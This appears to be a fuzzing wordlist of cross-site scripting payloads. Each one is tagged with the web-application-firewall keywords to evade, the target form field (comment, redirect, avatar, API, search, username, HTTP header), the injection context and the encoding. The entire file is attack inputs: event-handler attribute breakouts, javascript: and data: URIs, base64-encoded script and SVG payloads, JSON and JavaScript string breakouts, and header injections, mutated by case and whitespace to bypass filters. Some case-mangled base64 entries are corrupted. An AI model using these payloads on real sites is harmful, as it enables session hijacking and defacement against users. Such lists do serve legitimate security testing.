[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrag=confirm(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrag=confIrm(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrag=cONFIRm(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]"    ondrag    =    confirm    (    1    )        autofocus    =    "

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oNDraG=coNfirM(1) auTOFOCus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]' ondrag=confirm(1) autofocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ONdrAg=cOnfirm(1) aUtofocuS="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop=prompt(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop = prompt ( 1 )  autofocus = "

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8] ondrop=prompt(1) autofocus=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop=Prompt(1) aUtofoCUs="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop=PrOMpt(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop=PRoMPt(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ONdrop=PRoMPt(1) auTofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput=confirm(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oNinput=coNFIRm(1) autofoCus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput=CoNFirm(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput = confirm ( 1 )  autofocus = "

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput=CoNfiRM(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]' oninput=confirm(1) autofocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput=confIrm(1) AutofocuS="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalid=prompt(1) autofocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalid = prompt ( 1 )  autofocus = '

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalid=pRompt(1) autofocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalid=pROmpT(1) autofocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8] oninvalid=prompt(1) autofocus=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalId=prOmpt(1) AuTOfocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' ONinvAlID=PRoMPT(1) aUtoFocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' onprogress=confirm(1) autofocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' OnpROgrEss=cOnFIrm(1) AUTofocUs='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' onprogress=CONfirm(1) autofocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]'

onprogress

=

confirm

(

1

)



autofocus

=

'

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' onPRogrEss=CoNfiRM(1) AuTOfocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' onprogress=CONFIRm(1) autofocus='

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onratechange=prompt(1) x=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] OnRaTeChAnGe=promPt(1) x=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onratechange=PrOMpT(1) x=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onratechange=PRoMpT(1) x=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] oNraTEchanGE=pROMPT(1) x=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onratechange = prompt ( 1 )  x =

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onscroll=confirm(1) y=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onscroll=cOnFIrm(1) y=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onsCROll=Confirm(1) y=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onscroll = confirm ( 1 )  y =

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] oNsCroll=coNfirm(1) y=

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onscroll=cONfiRM(1) y=

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]javascript:alert(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]jAvascRIpt:AlErT(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]JAVAScripT:ALerT(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]javascript : alert ( 1 )

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]jAvaScrIpt:aLerT(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]JAVasCRIPT:AleRT(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]&#106;avascript:alert(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html,<script>alert(1)</script>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/HtMl,<scriPt>aLErT(1)</scRIpt>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html,<sCRiPt>aLeRT(1)</sCRiPt>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html,<scRIpT>alERt(1)</scRIpT>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html,<scrIPT>alert(1)</scrIPT>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data

:

text/html,

<script>

alert

(

1

)



</script>



[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]dAta:tExT/HTMl,<SCRipT>alERt(1)</SCRipT>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]daTa:TExt/htmL;bAse64,PHNJcmlWdD5hBGvydCgxKTWvc2NyaXB0Pg==

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:texT/htmL;baSe64,PHNJcmlwdD5HBGVYDCGXkTwvc2NYaXb0PG==

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data : text/html ; base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg =  =

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//example.com/%0aalert(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//example.com/%0aalert    (    1    )  

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//ExampLE.com/%0AALert(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//example.com/%0aALErt(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//example.com/%0aaleRt(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//exAmPle.COM/%0aAlerT(1)

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https://example.com/#<img src=x onerror=alert(1)>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https    :    //example.com/#    <img    src    =    x    onerror    =    alert    (    1    )    >  

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https://example.com/#<img src=x onErroR=alert(1)>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]httPs://example.com/#<imG src=X ONeRRoR=ALErt(1)>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https://example.com/#<iMG src=x OnErRor=AleRt(1)>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https://example.com/#<img src=x OnERRor=AlERT(1)>

[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]Https://example.com/#<iMg SRC=x onErroR=aleRt(1)>

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]javascript:prompt(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]JAVAscRipT:PROmPT(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]jAVasCriPT:pRoMPt(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]javascript    :    prompt    (    1    )  

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]JAvasCripT:prOmpT(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]javascript%3aprompt(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]JavaScriPT:pRomPt(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html,<script>confirm(1)</script>

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html,<sCRiPT>confirm(1)</sCRiPT>

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]DaTA:TeXT/htMl,<sCript>coNfirm(1)</scrIPt>

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html,<ScRIPt>CoNFIRM(1)</ScRIPt>

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]daTa:text/html,<scRIpt>COnfirm(1)</scRIpt>

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html,<scrIPt>CoNFIRM(1)</scrIPt>

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data : text/html, <script> confirm ( 1 )  </script>

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html;base64,PHNjcmlwdD5jb25maXJtKDEpPC9zY3JpcHQ+

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data : text/html ; base64,PHNjcmlwdD5jb25maXJtKDEpPC9zY3JpcHQ+

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]DatA:texT/HtML;basE64,pHnJcmlWdd5jb25MaXjtKdeppc9zY3jpchq+

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]daTa:text/Html;baSE64,PHnJcMlWdd5Jb25MaxJTKDePPc9zY3jPcHQ+

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0aprompt(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//examPle.coM/%0aprompt(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0aProMpt(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0apROmpT(1)

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0aprompt ( 1 )

[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0apROmPt(1)

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javascript:alert(1)

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javASCrIPT:Alert(1)

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javascript

:

alert

(

1

)



[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]JAvasCrIPt:alert(1)

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javAscriPT:alERt(1)

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javaScrIpT:aLerT(1)

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]&#106;avascript:alert(1)

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<svg onload=alert(1)>

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xMl,<sVg onloAD=alert(1)>

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data    :    image/svg+xml,    <svg    onload    =    alert    (    1    )    >  

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]dAta:iMAge/svG+XMl,<svG ONLOaD=aLERt(1)>

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<sVG onload=alert(1)>

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<svg onLoad=alert(1)>

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<SVG OnLoAd=alERt(1)>

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<svg OnlOAD=alErt(1)>

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]daTa:imaGe/svG+xmL;baSe64,PHN2zyBvbMxVyWq9YWXlcnQOmsk+

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data : image/svg+xml ; base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:IMaGe/svg+Xml;bAse64,phN2ZyBvbmxvYWQ9YWxlcNQomSK+

[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><svg onload=alert(1)>

[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><svg OnlOAD=alErt(1)>

[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><svg onLOAd=alert(1)>

[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><Svg oNloaD=aLErt(1)>

[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><sVg onload=alert(1)>

[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]">    <svg    onload    =    alert    (    1    )    >  

[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><SVG ONlOAD=alert(1)>

[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><SVG onLoaD=alERT(1)>

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<img src=x onerror=alert(1)>", "foo":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<IMG src=x onerroR=ALert(1)>", "foo":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]', 'error': '<img src=x onerror=alert(1)>', 'foo':'

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<iMg src=x oneRRoR=ALert(1)>", "fOo":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<img src=x onERRoR=alert(1)>", "foo":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<Img src=x onerror=alert(1)>", "foo":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "ERror": "<img src=x onERROr=alert(1)>", "foo":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error" :  " <img src = x onerror = alert ( 1 ) > ", "foo" : "

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<img src=x OnerrOR=aleRT(1)>", "foo":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<svg onload=alert(1)>"}, "bar":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"uSer": "<SVG OnLOAD=aLeRT(1)>"}, "bar":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<svg OnlOAd=alert(1)>"}, "bar":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<sVg onload=alert(1)>"}, "bar":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<svg OnLOaD=AlErT(1)>"}, "bar":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<svG ONLOaD=ALert(1)>"}, "bar":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]",

"data"

:





{

"user"

:



"

<svg

onload

=

alert

(

1

)

"

}

,

"bar"

:

"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "Data": {"useR": "<SvG onloaD=aLErT(1)>"}, "bar":"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</script><script>alert(1)</script>

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</scRIpt><scRIpt>ALeRt(1)</scRIpt>

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</ScrIPt><ScrIPt>alert(1)</ScrIPt>

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</scrIpt><scrIpt>Alert(1)</scrIpt>

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8] </script>  <script> alert ( 1 )  </script>

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</scrIPt><script>aleRt(1)</scRipt>

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</SCRiPt><SCRiPt>alERT(1)</SCRiPt>

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; alert(1); //

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; ALerT(1); //

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; AlErT(1); //

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\" }  ;  alert ( 1 )  ;  //

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; aLeRT(1); //

[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; alErT(1); //

[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onanimationend=confirm(1) style="animation: x 0s;" autofocus="

[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onanimationend=cONFIRM(1) style="animation: x 0s;" autofocus="

[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onAnImationeNd=cONFIRM(1) style="aNimatIOn: x 0s;" AuTofoCus="

[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onanimationend=cOnFiRM(1) style="animation: x 0s;" autofocus="

[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onanimationend = confirm ( 1 )  style = "animation :  x 0s ; " autofocus = "

[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" oNanimatiOnend=coNfiRm(1) styLe="aNimAtion: X 0s;" aUtofoCUs="

[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' ontransitioncancel=prompt(1) style="transition: x 0s;" autofocus='

[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' ontransitioncancel=proMPT(1) style="transition: x 0s;" autofocus='

[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' ontransitioncancel = prompt ( 1 )  style = "transition :  x 0s ; " autofocus = '

[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' oNtrAnsitIoNcancel=PRomPT(1) style="trANsitIon: x 0s;" AUtofocuS='

[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' oNTrANsITioNcancEL=PRoMPt(1) sTylE="TranSiTion: x 0S;" autOfocuS='

[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]` ontransitioncancel=prompt(1) style=transition: x 0s; autofocus=`

[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' ontransitioncancel=PRomPt(1) style="transition: x 0s;" autofocus='

[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; prompt(1); //

[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; pRompT(1); //

[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; proMPt(1); //

[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; promPT(1); //

[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; prOMpT(1); //

[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]' ;  prompt ( 1 )  ;  //

[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${confirm(1)}

[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${ConfiRm(1)}

[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]$    {    confirm    (    1    )        }  

[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${coNfIRM(1)}

[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${coNFiRM(1)}

[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${cOnFiRM(1)}

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onwebkitanimationstart=alert(1) style="animation: x 0s;" autofocus="

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onwebkitanimationstart = alert ( 1 )  style = "animation :  x 0s ; " autofocus = "

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onweBkitanimationstArt=Alert(1) sTylE="AnImatIoN: X 0s;" autoFocus="

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" ONweBKitAnimatIoNstart=aleRt(1) stYlE="aniMAtion: x 0s;" auToFOcUS="

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onwebkitanimationstart=AlERt(1) style="animation: x 0s;" autofocus="

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onwebkitanimationstart=aleRt(1) style="animation: x 0s;" autofocus="

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]` onwebkitanimationstart=alert(1) style=animation: x 0s; autofocus=`

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebkittransitionend=alert(1) style="transition: x 0s;" autofocus='

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebkittransitionend=AlERt(1) style="transition: x 0s;" autofocus='

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebkittransitionend=alert(1) style='transition: x 0s;' autofocus='

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebKittransitIOnENd=aLERt(1) stYLE="transITiOn: X 0s;" AutOfocus='

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]'    onwebkittransitionend    =    alert    (    1    )        style    =    "transition    :        x    0s    ;    "    autofocus    =    '

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebkittransitionend=AleRT(1) style="transition: x 0s;" autofocus='

[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' oNwebkiTtRANsITioneNd=aLeRt(1) sTyle="TraNsitIOn: x 0S;" autofocUs='

[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; alert(1); //

[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; aLerT(1); //

[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; aLeRt(1); //

[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; aLERt(1); //

[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; ALeRt(1); //

[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'    ;        alert    (    1    )        ;        //

[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]${alert(1)}

[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]${alErt(1)}

[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]${alERT(1)}

[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]$

{

alert

(

1

)



}



[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]${Alert(1)}

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerenter=prompt(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><DIV onpointerenter=PrOMpT(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerEnteR=PrOmpt(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerenter=PrOmpT(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><dIv oNpointErenter=pRoMPT(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]>

<div

onpointerenter

=

prompt

(

1

)



[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><DIv onpointerenter=prompt(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpoINTerENTeR=prompt(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerleave=confirm(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><DIv onpointerleave=confirm(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div ONPOInteRleAve=COnFirm(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]>    <div    onpointerleave    =    confirm    (    1    )    >  

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div OnPOINtERLeAVe=confirm(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><dIv onPoInteRlEAvE=coNfIrm(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><DIv onpointerleave=coNfirm(1)>

[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerleave=ConfIRM(1)>

[WAF:script,alert,onerror,()|FIELD:id|CONTEXT:url|ENCODING:utf8]1#/../../reports/default/1/0/<h1>XSS</h1>

[WAF:script,alert,onerror,()|FIELD:id|CONTEXT:url|ENCODING:utf8]1#/../../rePorts/default/1/0/<h1>xSS</H1>

[WAF:script,alert,onerror,()|FIELD:id|CONTEXT:url|ENCODING:utf8]1#/../../Reports/dEFauLT/1/0/<h1>XsS</H1>

[WAF:script,alert,onerror,()|FIELD:id|CONTEXT:url|ENCODING:utf8]1#/../../reports/default/1/0/ <h1> XSS </h1>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For: 127.0.0.1"><script>alert(1)</script>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-ForwardEd-FoR: 127.0.0.1"><scRipt>aLERT(1)</scRipt>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-foRwardEd-FoR: 127.0.0.1"><script>ALeRt(1)</script>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For: 127.0.0.1"><SCrIpt>AleRt(1)</SCrIpt>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For: 127.0.0.1"><sCRipT>alert(1)</sCRipT>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For :  127.0.0.1"> <script> alert ( 1 )  </script>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For: 127.0.0.1"><sCript>ALeRT(1)</sCript>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <script>alert(1)</script>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <scrIpT>alErt(1)</scrIpT>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]uSer-AgEnt: <SCRIPT>aLeRt(1)</SCRIPT>

